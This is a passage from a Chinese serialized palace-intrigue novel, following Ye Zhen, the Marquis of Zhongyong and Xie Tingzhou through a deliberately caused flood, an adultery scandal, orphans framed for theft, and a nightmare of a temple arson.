但凡有血性的男儿,都不可能让付江活着,你搬出大长公主向忠勇侯施压,又何尝不是让忠勇侯为难。
有大长公主这样为大渊殚精竭力的,也有如忠勇侯这般奋勇为国的,大渊才能安稳,我们谢家才能稳坐这皇位。
康乐,皇家不可轻视任何一个于国有功之人。”
“是康乐愚笨,康乐知错了。”
皇后便笑着看着皇帝,“皇妹既知错,便请陛下想想法子吧。”
皇帝叹气,“你啊,这么多年对康乐好的,朕都要吃醋了。”
皇后始终温和笑着。
皇帝最终派了身边大太监亲自去忠勇侯府,打算先将付江接进宫来医治,也是看守。
再接大长公主进宫,若她明确了付江身份,则由大长公主给忠勇侯一个公道。
若最终付江不是,那便交还忠勇侯,要打要杀任由忠勇侯处置。
康乐也跟着出宫了。
沉眸看着她的背影,皇帝同皇后道,“康乐这些年倒是装蠢装上瘾了。
只希望她能当真记得你多年维护之情,莫要做白眼狼才是。”
皇后笑着将头靠在皇帝肩上,温声道,“臣妾多谢陛下。”
谢什么,她没说明,皇帝却明白,揽着她的肩亦柔和了神色。
武德司副使雷策在门外踱步,皇后看见忙坐正了身子,皇帝睨向门口,“有话进来说。”
行礼后,雷策踌躇道,“陛下,娘娘,臣先前追拿闯宫刺客时,在街上遇到了侯府少夫人叶桢。”
他口中的那个刺客,便是白日潜入宫中刺杀了武德司指挥使和凤栖宫护卫头领之人。
闻言,皇后眸色一凝,皇帝亦严肃了神色,“继续说。”
“当日臣追着刺客一路到了街上,可刺客却在那条街上失了踪迹。
当日那街上只有侯府少夫人的马车能藏身,可臣查过,车上并无刺客身影,亦无血腥味,只有扑鼻的烤鸡香味。
直到今日臣听闻侯夫人的马车有暗格,臣便想,会不会那日少夫人坐的马车就是侯夫人的,而刺客就藏在暗格里。”
甚至他怀疑,车厢里的那些烤鸡,也是用来遮掩血腥味的。
若是如此,那叶桢便是包庇刺客。
“臣想查一查少夫人,还请陛下允准。”
他上任武德司副使以来,还不曾有一个贼子从他手中逃脱,除了上回那刺客。
因而耿耿于怀,可忠勇侯是天子近臣,谢霆舟更是他顶头上司,他不敢贸然行动。
皇帝眉峰敛起,瞳仁散发着寒意,再无面对皇后时的温和,“查。”
想到什么,他补充道,“避开谢霆舟。”
这是不让谢霆舟知晓的意思了,雷策激动领命……
第87章 伍家真相
康乐带着大太监陈伴君再次来到忠勇侯时,府上宾客已走了大半。
崔家还在,因崔易欢被忠勇侯叫去说话,崔老夫人担心事情有变故,留下等她。
屋里,忠勇侯问,“见了今日种种,崔姑娘想法可有改变?”
“侯爷,一言既出驷马难追,小女想法如初。”
崔易欢担心忠勇侯变卦,“也请侯爷坚守允诺小女的。”
她对这个男人还是有些了解的,他不会放过付江,做好了最坏打算,不想牵连他人,故而给她重新选择的机会。
可她的儿子在这里,与侯府一荣俱荣,一损俱损,她更应护在儿子身边。
何况,柳氏虽死了,但老夫人还活着,她的仇还没得报。
忠勇侯见她坚持,不再多言。
先前与崔老夫人说的是明日接人上门,但崔易欢请他多给自己三日时间,她需要点时间拿回母亲嫁妆。
忠勇侯应了,又多派了两人给她。
崔家离开后,他去见了陈伴君,要求一同进宫。
皇帝并没不允忠勇侯进宫,陈伴君自然也没拦的道理。
康乐却是蹙了蹙眉,直觉忠勇侯进宫绝非好事,但皇宫已不是她家,她无权拒绝。
离开前,她看了一圈没找到韩子晋,只当他也跟着众宾客一并散去了。
韩子晋没有离开,他在谢霆舟的安排下见到了朝露。
朝露已知他就是自己父亲,见到人,眼泪就落了下来。
“大哥一直告诉我们,爹爹不是不要我们,他是找不到我们。
我面上应着,心里其实是不信的,乡邻都说您成了京城富贵人,身后仆从无数,那怎么就找不到我们呢,定是不想找的。
可少夫人告诉我,您这些年从未放弃寻我们……”
她嘴唇颤抖,喉咙堵得厉害,良久才哽出一句话来,“为什么没有早些呢?”
早一些,大哥就不会死了啊。
娘死了,奶死了,这些年大哥既当爹又当娘的拉扯他们,家里遭难时,大哥当时亦不过是个孩子。
洪水,饥荒,逃难,成为流民,大哥都能护着他们一路来到京城。
可她的爹爹,鲁国公府出身,康乐公主的驸马,怎么就连个孩子都不如呢。
面对女儿的质问,韩子晋满脸羞愧,他单膝跪在女儿面前,小心翼翼试探着替她擦泪。
“对不起,是爹爹无能,让你们受苦了。”
朝露扑进她怀里,哇哇大哭,“我没怪你,我只是难受大哥不在了。
你不知道,这些年他吃了多少苦,受了多少罪,却将我们保护得很好。
可如今我和二哥有爹爹疼了,大哥却再也活不过来了。”
她的记忆里没有父亲,只有大哥,其实是怨的。
可大哥曾无数次同她说,若将来找到爹爹,证实爹爹不曾抛弃他们,他们就不能怨恨爹爹,爹爹定是有他的无奈。
大哥希望她认父,她便认。
韩子晋亦是泪流满面,紧紧拥着女儿。
谢霆舟好人做到底,早已打发人去军营,将新兵蛋子伍二也接了过来。
父子相见,又是一番悲喜交加的场面。
待两个孩子情绪平复了些,韩子晋一手拉一个,让他们在椅子上坐下,他蹲在他们面前。
“告诉爹爹,这些年你们是怎么活下来的,可有人帮你,为何伍家庄存活下来的人,都说没见过你们。”
伍二却是看着他,反问,“爹爹往后会护着我们吗?无论发生什么,都护着我们?”
韩子晋答得坚定,“自然,你们是我的孩子。”
伍二沉默片刻,才回,“是村长爷爷救了我们,带着我们兄妹三个一起逃难,也是他交代活下来的村民不要对外透露我们的踪迹。”
韩子晋听出一丝不对劲。
“村长为何要这样做?他一家如今在何地?”
村长家是伍家庄的大户,光儿子就有六个,膝下孙子亦不少。
若是朝露三个孩子都能活到京城,他们一家当也能从那场天灾里活下来。
可这些多年,他们家无人回到伍家庄。
伍二红了眼眶,“村长爷爷死了,饿死的,他们家已在北地的一个山坳落户,我们兄妹三人便是落在他们家。”
韩子晋轻拍儿子的背。
怪不得他找不到孩子们,原来他们已改了户籍。
伍二继续道,“其实一开始我们并没离开家乡,而是被村长爷爷带进了山里。
村长爷爷则带着几个伯伯下山查看有无落难的乡民,好及时救助。
却发现有人趁着洪水,故意残害村民,但凡被他们发现的活口,他们皆会溺死在水里。
村长爷爷意识到不对,又去查看堤坝,发现堤坝并非暴雨冲塌,而是人为破坏。”
韩子晋脸色刷的一下惨白,“人为破坏?”
伍二点头。
朝露也惨白了脸,因为哥哥们从没同她说过这个情况。
她一直以为是天灾。
伍二握住妹妹的手,他也是离开北地时才知道的,大哥说妹妹胆小,不必让她知道这些。
“村长说是有人要灭口整个伍家庄,所以山里不能再呆。
他带着存活的乡民们走山道往北方逃去,可洪水来得太突然。
村长爷爷反应足够快,才救下小部分人,根本来不及带走任何财物。”
身无分文的他们,在山里时,还能勉强靠野物充饥,出了大山,他们只能靠做苦力换取一点吃食。
可他们是没有户籍的流民,愿意雇佣他们的很少,只得用更廉价的价格去做黑工。
但一路逃荒拖垮了他们的身体,他们能换取的粮食很少。
“大哥要养活我们,也想跟着做黑工,可他太小,人家看不上他。
村长爷爷便让大哥看着他家的几个孩子,以此为借口分点粮食给我们兄妹三个。
几个叔伯没意见,日子久了,婶娘们有意见,村长爷爷与爷爷关系好,不忍看我们饿死,便省下自己的口粮……”
活活将自己饿死了。
“临死前,他让大哥带我们离开,因为你在京城的消息传了过去,有人开始怀疑伍家庄的那场灾难因你而起。”
他盯着自己的父亲,“甚至有人说,是你恢复记忆回到富贵生活,不愿让人知晓在伍家庄的窘迫,不愿承认我们母子的存在,才要杀人灭口。
村长爷爷担心乡民们迁怒我们兄妹三人,只能让我们走。
但其实村长爷爷一开始就猜到那场洪水,与你有关。
所以逃荒时,他让我们改了名,对外称我们是他家的孩子。”
村长爷爷一开始就在护着他们。
韩子晋连连摇头,“我从没不想认你们,其实当年我根本没有失忆。”
这是欺君大罪,为了不娶康乐,他也只同康乐说过,眼下急着同孩子解释,便也顾不得许多了。
“你们奶待我的好,伍家庄的淳朴让我想留下,娶你们娘更是因我心仪她。
可我被人认了出来,我曾被先皇赐婚康乐公主,逃避皇婚会牵连整个鲁国公府。
我想着先回京同皇家请罪,解了这门婚约,可康乐却当着皇上的面,承诺愿意接纳你们母子……”
他突然就想到了谢霆舟的提醒。
之前他没将妻儿遭难与康乐联系在一起,是因为时间对不上。
伍家庄洪水时,他在回京路上,还不曾向康乐和鲁国公府提及已在伍家庄成亲一事。
既然还不知道他妻儿的存在,自然就避开了嫌疑。
可若付江救他本身就是一场阴谋呢?
假设付江早已认出了他,并查到他在伍家庄的事,又及时通知了京城。
那么康乐知道妻儿的存在,远比他以为的早。
这也就说得通,康乐为何竭力要救付江,他们早有勾结。
想通这关键,他懊丧,愤怒,悔恨各种情绪交加,最后最问出一句,“你们娘是怎么没的?”
屋外,叶桢和谢霆舟对视一眼,两人在彼此眼中看到两个字。
付江!
谢霆舟当即派人前往伍家庄所在的县城,若拿到付江谋害百姓的证据,便是皇帝都不能护他。
第88章 要阉割他
韩子晋得知妻子是为救孩子们,被大水冲走,垂头许久不语。
地面被泪水打湿一片后,他同两个孩子道,“伍家庄的这场灾难,不是我造成的。
但却是因我而起,是我害了你娘,害了你们,还有伍家庄无数条人命。”
除了和他有关,谁会无端去害一个村子的人,终究是他低看了人性的恶。
他咬牙顿了顿,才又道,“为你们安全考虑,我暂不能与你们相认。
我会求侯爷和世子,让他们继续庇佑你们,等爹处理好了后患,爹再来接你们,可好?”
兄妹皆点头。
他们如今都有自己的位置,已不再那么迫切需要一个爹。
何况,那个家是爹别的女人的家,驸马说得好听是尚公主,其实也不过是入赘,寄人篱下罢了。
而爹没有提鲁国公府,可见爹也是信不过他们,既如此,他们兄妹又怎会主动将自己送入险境。
伍二紧紧握着朝露的手,用他们才懂的暗示,告诉妹妹,他会努力为他们博一个安稳的未来。
朝露亦回握哥哥,她也会跟着少夫人好好表现,只要她真心待少夫人,少夫人定也不会亏待她。
前些时日二哥的生辰,少夫人不但让挽星姐姐陪她去见二哥,还给了发了新衣,让她穿给哥哥看,好叫哥哥安心。
少夫人和村长爷爷一样都是好人,而她对这个爹并不了解。
韩子君隐隐明白一双儿女的心思,心头苦涩不已。
是自己这个父亲太失责了。
与孩子们分开后,他寻到了谢霆舟,“可否同世子借几个人?此番恩情韩某定会偿还。”
说来悲哀,他虽是鲁国公府的小爷,父母皆已不在,如今哥哥当家,他早已成了泼出去的水。
康乐这些年倒是对他不错,从儿子口中得到真相,他怎敢还信任公主府的人。
谢霆舟没有拒绝,也没隐瞒自己在外听的事情。
他猜到韩子晋是要接村长一家来京,提醒,“他们躲着不回伍家庄,这次未必会跟来京城。”
说到底,他们不信任韩子晋。
韩子晋迟疑,“可我亲自前往,只怕会引人注意。”
京城这边他也需要作为。
谢霆舟笑,“做父亲的都有一个通病,爱小看自己的儿子。”
“你是说让我儿带人去?路途遥远,他太小了。”
还未离开的伍二出现,“我不怕远,我愿亲自去接他们回来。”
他跟着大哥来京时,还没现在大呢。
村长一家是外来户,在那边过得并不好,他想还他们当年恩情。
纵然他无法让他们在京城立足,至少也可以让他们回到家乡。
大哥说,村长爷爷死前是怀念家乡的。
他看向谢霆舟,“可否请世子护村长一家安全?”
韩子晋伤心又羞愧。
谢霆舟点头。
村长虽死了,但他的儿子们还活着,他们皆是伍家庄案的见证者。
这边说定,谢霆舟便安排亲信带着伍二秘密离京。
另一头,忠勇侯也到了皇宫,他单独见了皇帝。
“陛下,臣不认为付江是大长公主的后人。”
皇上神情温和,“起来说话。”
陈伴君极有眼色地给忠勇侯搬了把椅子。
忠勇侯与皇上自小相识,后头皇上为君,两人私下关系依旧不错。
他没有执拗,道谢后坐到了椅子上,继续道,“柳氏的三个孩子,谢云舟,谢瑾瑶,谢澜舟都非臣的孩子。”
此话一出,连素来四平八稳的皇帝都微微变了脸色。
“这次归京,臣发现了许多事,柳氏掌家这些年,挪了许多侯府家产给付江。
又帮付江利用侯府的名头暗地经商敛财,她前往青州看望臣的母亲时,带着孩子们留宿的也是付江家中。
为保守秘密,柳氏这些年频繁更换马夫,臣从这处着手,查到柳氏在嫁于臣之前,便与付江早有苟且。”
马夫这处实则是叶桢查到,报于他,他又命人深查,拿到确切证据。
他将马夫以及谢云舟小厮的供词,呈于皇帝。
又将谢云舟娶叶桢的目的,以及假死的事都如实回禀了皇帝。
“臣愚昧,这些年被他们骗得团团转,还将那几个孩子当成掌中宝。
而臣的母亲知晓这一切,却从未阻拦柳氏与付江,甚至帮着遮掩。”
他起身,又跪于殿中,“母亲今日还欲对霆舟下手,幸得霆舟命大,未能让她如愿。
放纵柳氏生下付江的孩子,养在侯府,却容不下臣的长子,事发后将这一切推至柳氏身上,母亲至今不肯说实话。
她对付江的维护,远超臣这个亲生儿子,故而臣认为,她说付江身世的事,亦不可信。”
皇帝沉吟,“你想离京亲自去查这些事?”
忠勇侯叩首,“还请陛下成全,并将臣今日所言转告给大长公主。
付江与柳氏通奸,两人合谋侯府家财,戏耍臣多年,若只是断他双腿,臣不甘心。”
皇帝问,“你想要如何?”
“臣想要他的命,但臣也不想陛下和大长公主为难。”
忠勇侯抬眸,“臣要断其祸根,让他归还我侯府家产,再书面向臣致歉,说明这些年与柳氏所犯之事。
至于陛下是否还要这样的人入朝为官,则是臣不敢置喙的。”
皇帝气笑了。
与人通奸,被阉割,当众道歉,天下皆知付江品性恶劣,他若还用这样的人,岂不是要被百姓骂昏君。
但若付江当真是大长公主的后代,大长公主说不得还真要为他谋前程,他这个帝王还真不好抉择。
现在谢邦这小子将他路堵死了,还理直气壮说不敢置喙。
他将一个折子砸了过去,“朕看你是被以往功绩托得有些飘了,敢指使朕如何行事。
陈伴君,将这混账给朕赶出去,让他去西北,不将老君山的土匪给朕剿清,不许回京。”
忠勇侯认完罪,雄赳赳气扬扬似一只斗胜的公鸡,昂首挺胸出了御书房。
皇后从屏风后出来,笑道,“被宠大的人,什么时候都底气足得很。”
皇帝也笑,哼道,“他少时就是这副嘚瑟样,好似身后有天大的依仗。
明明朕才是皇子,有天下至尊之人为父,可朕活得小心翼翼。
他却将‘怕什么,天塌了有我爹’这样的话挂在嘴上,打遍整个皇家学院。”
“背后老忠勇侯不知替他陪了多少罪,挨过多少先帝的罚,可在谢邦面前,他始终伟岸如山,坚不可摧。”
皇后亦想起前尘往事,感慨道,“那时,陛下与臣妾都羡慕有他这样的父亲。”
可老天又让谢邦摊上那样的母亲,可见这世间事的确难事如愿。
皇帝也叹了口气,说的却是别的事,“谢邦只字不提县令一事,他到底还是信任不过朕,要往朕手里递把柄。”
世人不知帝后感慨,只知忠勇侯得罪了陛下,要被发配去西北剿匪。
皇庄上,大长公主亦收到消息,满是沟壑的脸,每条皱纹都垂下,眉心跳动着怒焰。
皇帝骂忠勇侯的话,分明也是说给她的听的,警告她别用往日功绩说事,可若那是她家的孩子,她便不能不管。
她沉声吩咐,“收拾收拾,明日回京。”
老夫人听说忠勇侯要去西北后,长长松了口气,旋即又冷笑出声。
“谢邦仗着战功,就想与付江不死不休,如今好了,惹了陛下不快,往后看他还怎么欺压付江。”
想到付江,她心疼得要命,下意识吩咐,“蛮奴,去打听打听江儿的情况……”
说完,意识到蛮奴被谢霆舟抓走了,至今没有放回,气得一拍桌子,“小孽畜。”
柿子挑软的捏,她暂无法拿谢霆舟如何,就想找叶桢出气,“将少夫人叫来。”
今日种种,思来想去都有叶桢的影子,何况,谢邦竟还想将一般侯府给叶桢,那也要看叶桢有没有命拿。
可下人很快回来,“少夫人带着婢女出去了。”
叶桢收到信,她养在南边庄子的孩子们明日就要到了,叶桢早在外头买了宅子用来安置他们。
她打算再去宅子看看,可还有什么需要添置的,却在街上遇到了雷策。
雷策挡在马车前,“雷某有一事请教,劳少夫人解惑。”
第89章 欲坦白
叶桢示意挽星掀开帘子,微笑,“雷副使请说。”
“上次在街上遇到少夫人,不知少夫人当时坐的马车可是侯夫人的那辆?”
“那日我回娘家,的确是借用了婆母的马车,更为气派些。”
这事雷策想查,并不难,叶桢没打算撒谎。
她疑惑,“不知雷副使为何问起这个?”
“少夫人当真不知?”
雷策眼眸陡然一厉,似双刃射向叶桢。
叶桢被他这样盯着,双手倏然攥紧手中帕子,似被吓到了。
但她维持侯府少夫人的体面,努力保持平静,“还请雷副使言明。”
雷策长了一副凶相,又在武德司多年,他故意释放威压时很少有人不怕他。
叶桢的反应和往日见到他的女子,没什么两样。
他近前一步,眸光锐利更甚,“少夫人可还记得,当日雷某为何叫停贵府马车?”
“记得……”
叶桢反应过来,腾地一下站起身,头险些撞了车顶,好在挽星反应快,忙用手护在她头顶。
“小姐小心!”
但叶桢已顾不得自己脑袋,条件反射的往座位底下看去,想起这并非柳氏马车,才急声道,“雷副使的意思是,那日刺客就藏在我的马车里?”
“少夫人一点没察觉吗?”
叶桢摇头,“那可是**的刺客,若知道,我怎还敢坐那马车?”
她劫后余生,“我当时还一路坐着马车进了府,幸好,幸好那刺客没在侯府伤人,否则我真是罪过了。”
旋即,她又疑惑,“可侯府当日并无发现可疑人,当时陈青也在,雷副使会不会搞错了?
若有刺客,按理陈青和侯府护卫该有所察觉才是。”
雷策并无证据证明刺客一定藏在叶桢马车里,今日拦车也不过是试探。
但显然结果不理想。
他若再坚持拦车,那就是在说侯府护卫都是吃干饭的,在没有铁证的情况下,他更不能说侯府有意包庇刺客。
雷策笑道,“少夫人所言也有理,只是至今未能抓到刺客,雷某心中焦灼。
今日听闻侯夫人马车有暗格一事,恰好又遇到少夫人,便没忍住上前叨扰,还望少夫人见谅。”
叶桢客套,“雷副使亦是职责所在,能理解。”
雷策退开,车夫抖动缰绳,却在挽星即将放下车帘时,他又发问,“少夫人可知那刺客犯了何事?”
叶桢答,“武德司办案,我等不敢随意打探。”
这回答很符合后宅女子。
马车走远后,有亲信问道,“头,可有看出什么?”
雷策眯眸,“你亲自盯着。”
没试探出什么。
但他始终觉得那日的烤鸡过于巧合,而那刺客消失得毫无道理。
“小心些,莫要让谢霆舟发现了。”
他对谢霆舟这个突降的上峰并无意见,但叶桢是侯府的人,难保谢霆舟不会为了侯**她。
而他也隐隐猜到,皇上要他瞒着谢霆舟的原因。
那日闯宫的刺客极有可能就是太子,谢霆舟从军前和太子关系不错。
若太子随马车躲进侯府,谢霆舟未必不会帮他脱身。
这世间事只要做过,必有痕迹,功夫不负有心人,只要他不放弃,定能找出那人。
雷策眼神坚定,很有信心。
挽星透过车帘缝隙看了眼外面,低问,“小姐,那人可是怀疑您了?”
叶桢笑的淡定,“无碍,他没有证据。”
有证据就不会有今日的试探。
柳氏马车暗格暴露,谢霆舟就提醒过她,雷策会再找上她,没想到会这么快。
“路上遇到好吃的,都买些。”
雷策定是因那日的烧鸡起疑了,若她本身就是个吃货,那日买烧鸡就不能算作巧合。
巧了,她和挽星都是爱美食的,便是雷策盯梢也在此事上盯不出端倪。
说话间,前头刚好就是间果脯铺子,挽星当即就叫停马车,走进了店铺。
半大孩子能吃,今日买多少都不会浪费。
一盏茶后,雷策的人便见挽星提着大包小包出了铺子。
没一会儿,又进了一家卤味店,又是提了两大包上了马车。
之后的一路,但凡遇到吃食铺子,挽星都在买买买,就在那人怀疑叶桢是故意买东西,欲盖弥彰时。
他们又进了布庄,这会儿叶桢也下了马车,主仆俩挑了好几匹布,以及两袋子布头。
后头又去了米铺买了两袋子米……
叶
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桢回到侯府后,那人也回到雷策身边。
“那些东西他们都留在了一处院子,那院子里有两个婆子看守。
属下听了会儿,据说是南边有人来京城投靠叶桢,这些东西都是叶桢为他们准备的。”
雷策听完,眉头蹙得老高。
今日盯梢毫无进展,便听属下又道,“叶桢回府时,又带了几只烧鸡回府,想来又是孝敬忠勇侯的。
怪不得忠勇侯会将一半身家给她,倒是个会讨好人的。
不过属下瞧着那些布匹都是寻常棉布,连绸缎都没有,这侯府少夫人也够抠门的,如今半个侯府都到手了,给投奔的亲戚买寻常布料也就罢了,还买两袋布头……”
忠勇侯的家产要给谁,叶桢是大方还是小气,雷策不感兴趣,他打断亲信的话,“明日继续盯着。”
叶桢那几只烧鸡的确是给忠勇侯带的,上回本是为遮掩血腥味,买了烧鸡,结果陈青反馈,侯爷吃着觉得还不错。
今日便有买了些,这次她亲自送到忠勇侯面前。
忠勇侯在书案前看舆图,看到她手里的烧鸡笑了笑,“有心了。”
便又低头忙碌。
皇帝给他离京的机会,让他暗地查老夫人和付江的事,但让他剿匪也是真,故而他需要提前了解老君山周边情况。
“我不在京中时,家里就交给你了。
老夫人那边若有为难,你处理不得,便让霆舟帮衬一二,我也会交代他……”
一番叮嘱完,见叶桢还没离开的意思,忠勇侯这才又抬起头,“你寻我有事?”
叶桢抿了抿唇,“父亲,侯府家业叶桢不能要。”
柳氏和谢云舟已经**,谢瑾瑶也得到了报应,忠勇侯如今也知道了老夫人的真面目,定会深究到底。
她在侯府的仇也算是得报了,原本叶桢还想借忠勇侯的势同叶家清算。
但忠勇侯最近对叶桢的好,让她不忍再欺骗利用他。
她打算坦白。
可就在她准备开口时,邢泽来了,“少夫人,府里来了几个孩子,说有急事要见您,其中一个还受了伤,是剑伤……”
听闻剑伤,叶桢再也顾不得与忠勇侯多说,忠勇侯见她慌张担忧,想了想,也跟了上去。
第90章 叶桢发病
来的正是叶桢在南边,养在庵里的孩子们。
原本按脚程,他们明日才到,可几人担忧叶桢,想早些见到她。
便减少了休息时间,这才提前一日到了京城。
谁知竟在街上遇到了叶晚棠和叶夫人王氏。
王氏卧床多日,嫌闷得难受,便坐着软轿出来逛逛。
她身边的嬷嬷曾去庄子接叶桢,认出其中一个孩子是跟在叶桢身边的。
猜到他们来京是找叶桢的,想到上次在侯府发生的事,又听说忠勇侯将半副身家给了叶桢。
母女俩嫉妒**,今日便想寻叶桢晦气。
王氏经过几个孩子时,突然喊自己荷包不见了。
下人们便指责是与王氏擦肩的孩子偷的,孩子被冤枉,自然要争辩。
王氏有心找事,下人们了解她的心思,很快和几个孩子拉扯起来,说要扭送他们去官府。
几个孩子不肯,不知怎的,其中一人被推搡着往叶晚棠身上撞去。
叶晚棠身边的护卫当即拔剑伤了那孩子,名为护主。
孩子们到这时也明白过来,王氏他们是故意寻事。
年纪最大的阿狸佯装同意见官,眼神示意其余几个带着受伤的穗穗去找叶桢。
他们都是跟着叶桢习武的,其余几个明白他意思,由力气最大的阿牛抱着穗穗,泥鳅似的溜走了。
恰好被邢泽听到他们打听忠勇侯府,他关注叶桢和挽星动向,知道南边有孩子来找叶桢,便主动上前。
孩子们见他认识挽星和叶桢,连他们要来京都知道,甚至还知道他们几个的名字,便跟着进了府。
见到叶桢,几人全围了上来,七嘴八舌将事情说了。
“大姐姐,我没偷她荷包,是她故意冤枉我。”
开口的孩子叫春妮,今年十二岁,四岁时被叶桢从乱葬岗捡回去的。
她愧疚道,“有个婆子曾去过庄子,应是认出了我,他们想借此找大姐姐的麻烦。”
大姐姐当年被叶家接回京城时,她实在舍不得,就假装是庄上的孩子,露面送了大姐姐,被那婆子看到。
饮月说大姐姐在京城艰难,他们好不容易说服饮月带他们来京。
本是来给大姐姐帮忙的,可刚到京倒先给大姐姐招了麻烦。
其余几个也愧疚地低头,“大姐姐,对不起。”
叶桢气恼王氏母女,也心疼孩子们。
忙从阿牛身上接过穗穗,安抚他们,“不是你们的问题。”
谁能想到就那么巧,过去三年,春妮都长开了,那婆子还能认出她。
王氏母女更是恶毒地对孩子下手,她对穗穗道,“别怕,大姐姐带你去找大夫。”
穗穗因失血脸色苍白,一双眼却晶亮,“饮月说见过血的才是真正的勇士,穗穗如今也是勇士了。
本来只有一点点疼,见到大姐姐后一点都不疼了。”
忠勇侯没想到一个女娃娃这么勇敢,且其余几个瞧着都有功夫底子,一个个精神头十足,实在招人稀罕,因而看他们的眼神很是稀奇。
倒也没这个时候多问。
挽星请了府医过来,叶桢让她陪着穗穗医治,她主动同忠勇侯解释。
“他们都是孤儿,在庄子旁边的庵堂长大,饮月被婆母赶出府后,也留在了庵堂,这些年孩子们便是跟着她习武。
前些时日,我想找回饮月,孩子们得知后,也都纷纷跟了过来。”
但其实庵堂的孩子们远不止这些,来的都是年纪稍大,身手不错的,而她才是他们真正的师父。
“后头饮月有事耽搁,这些个小的便先过来了,没想到会遇到我母亲和晚棠……”
忠勇侯最近查府里的事,知道叶桢有个婢女会点武功,却被柳氏打发了。
如今叶桢掌家,想寻回自己人也是情理之中,就是听叶桢还唤柳氏婆母,心里实在膈应。
便摆了摆手,示意她不必解释,心里想着明日就写封休书送到官衙去。
“将他们在府上安置好,那个被留下的孩子,为父替你走一趟。”
叶桢原本没打算让孩子们住进侯府,可计划赶不上变化。
穗穗要治伤,有了今日之事,说不得王氏母女还会对孩子们动手。
可她是打算离开的……
忠勇侯也没给叶桢考虑的机会,他说完大步就往外走了。
今日发生这么多事,他心头的郁结还没完全散去,王氏这妇人明知那几个孩子是来找叶桢的,还故意欺负人。
怎的又是一个不配为母的货色,他从下人手中接过马鞭。
也不知究竟是为叶桢不平,还是为自己不平。
恰好在街上遇到谢霆舟,直接一鞭子将谢霆舟的马给调头了。
谢霆舟下午有事进宫,忙到刚刚才出宫,出宫就听扶光说了街上的事。
他本打算寻个由头将人带回侯府,没想王氏母女竟将人带去了将军府。
正在想找什么借口去要人呢,就见到了气势汹汹的忠勇侯。
略一思量,谢霆舟便明白怎么回事,一夹马腹跟上了。
将军府的护卫刚在门外亮起火把,就见忠勇侯和谢霆舟到了。
还没上前问怎么回事,两人便翻身下马大步上了台阶,直接进了门。
护卫追上,“不知侯爷上门是有何事,请容小的通禀……”
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>两人脚步都没顿一下,等他通禀岂不是给了王氏母女藏人的时间。
因而他们很快在将军府的柴房找到了人。
王氏和叶晚棠也得到消息,赶了过来。
“谢伯伯,您这是?”
叶晚棠很吃惊,她没想到侯府父子会为叶桢出头,还亲自来替叶桢找人。
忠勇侯眼神检查阿狸,十五六岁的年纪,一身长衫,眉眼清正,颇有书卷气,被关也不见有多慌乱。
哪有半点做贼的样子,分明就是将军府故意欺负人。
“本侯儿媳的几个朋友来京寻她,却被你们误解成贼子。”
他声音冷了几分,“晚棠啊,若他当真是偷儿,为何你不送官,而是关在将军府?
还是说,本侯消息落后,不知这将军府如今竟成了能断案的官府衙门?”
这话让叶晚棠红了眼。
是气的,也是嫉妒的。
叶桢凭什么能得忠勇侯这般维护,定是叶桢借用叶惊鸿的名头,蒙骗讨好忠勇侯。
对,定是如此!
否则叶桢有何可取之处?
忠勇侯不是说,看在叶桢是叶惊鸿的侄女份上,才给她半个侯府么。
可她叶晚棠才是叶惊鸿的女儿。
王氏见不得女儿委屈,忙道,“侯爷,是我见他们都是孩子,不忍送官。
想着先将人关在将军府,等那些个孩子送还了荷包,便将他给放了。
不关晚棠的事,侯爷可莫听信他人谗言,误会晚棠,她才是惊鸿的女儿。”
啪!
忠勇侯一鞭子抽在王氏面前的地上,“鬼扯,本侯长了眼睛和耳朵。
你明知这些个孩子是找叶桢的,故意刁难,母亲做到你这份上,当真是叶桢不幸。”
看到王氏这样,他就想到老夫人护着柳氏,护着付江的样子。
心中窝火得很,天下怎有这些糊涂的母亲。
但他不打女人,带着阿狸和谢霆舟走了。
可隔日一大早,外头便传出叶桢勾搭公爹,与公爹不清不楚的传言。
忠勇侯气炸了,正欲亲自查传言之人,谢霆舟将名册送到了他手上。
幕后指使竟是王氏。
忠勇侯看向谢霆舟,“走,你我父子再走一趟将军府。”
他不打女人,但不代表没有法子惩治这些混账玩意,昨日还是他手软了。
谢霆舟亦有此意。
可两人刚走到前院,便见挽星面色苍白,慌慌张张跑过。
谢霆舟心口一跳,忙拉住人,“出了何事?”
挽星就是去找谢霆舟的,见到人忙道,“世子,快……快救我家小姐,小姐她……她叫不醒了……”
第91章 梦前世真相
叶桢没有**,脉象亦正常,却昏迷不醒。
她是梦魇了!
不知梦中经历何事,泪流满面,浑身颤抖,一双手死死揪着床单。
谢霆舟看得心都碎了,很想将人拥入怀中。
他看向忠勇侯,“父亲,我试试替她用针,看看可否能将她唤醒。
叶家那边父亲便带崔姨娘去吧,省得她醒来听到传言,再受刺激,我这医治就白费了。”
这句再受刺激让忠勇侯想到了王氏,叶桢好端端的突然梦魇,定然是被昨天的事刺激了。
他自己正经历被母亲伤害的苦楚,知道那种感觉有多难受。
叶桢只是个年轻姑娘,内心不够强大也属正常。
说到底,还是那些糊涂母亲闹的。
看着叶桢那模样,他也揪心,但他呆在这什么都做不了,不如去处理了外头的传言。
只还是有些不放心,叮嘱谢霆舟,“她虽是谢云舟的妻,但是个好的,我认她这个儿媳。
你就应将她当妹妹般上心,若施针无效,要及时让人告知我,我好进宫请医。”
叶桢嘴里开始呢喃什么,谢霆舟眼眸深敛,催忠勇侯,“知道了,你快去吧。”
忠勇侯走后,谢霆舟示意挽星带孩子们出去。
挽星想叶桢早些醒来,可留她和谢霆舟两人在,她又不放心,更怕传出什么不好的谣言。
外头已经在传小姐和公爹了,不能再多个大伯哥了。
谢霆舟便朝邢泽使了个眼色,邢泽伸开双臂,似展翅的老母鸡般将挽星和孩子们全拢住,往外推。
“没什么比少夫人的安危更重要,少夫人信我们主子,你也该信。”
他又在她耳边低声提醒了句,“墨院。”
挽星就想起这些时日,小姐夜里常去墨院做**,两人私下没少接触。
不曾听小姐提谢霆舟有不规矩的地方,当是可信的。
便顺势跟着走出了房门,低声警告几个孩子,“世子单独给小姐治病的事,不可对任何人言,知道吗?”
都是半大孩子,已经懂得男女大防,且来时饮月没少给他们说京城的规矩。
一个个捂着嘴,点头似小鸡啄米。
挽星和邢泽又借口让其余下人去院门守着,将他们都打发了。
在他们出门时,谢霆舟已从腰间取出针包,下针后,叶桢抖得没那么厉害了。
他握住叶桢的手,“叶桢,醒醒。”
叶桢醒不过来。
她身处熊熊大火,入目一片火红。
是南边的庵堂着火了。
可庵里的孩子们和师太们,歪七扭八地倒在地上。
晚上的素斋里被人下了药,他们都昏迷了。
有几个黑衣人拼命往各处洒酒水,丢火把,他们想烧死庵堂所有人。
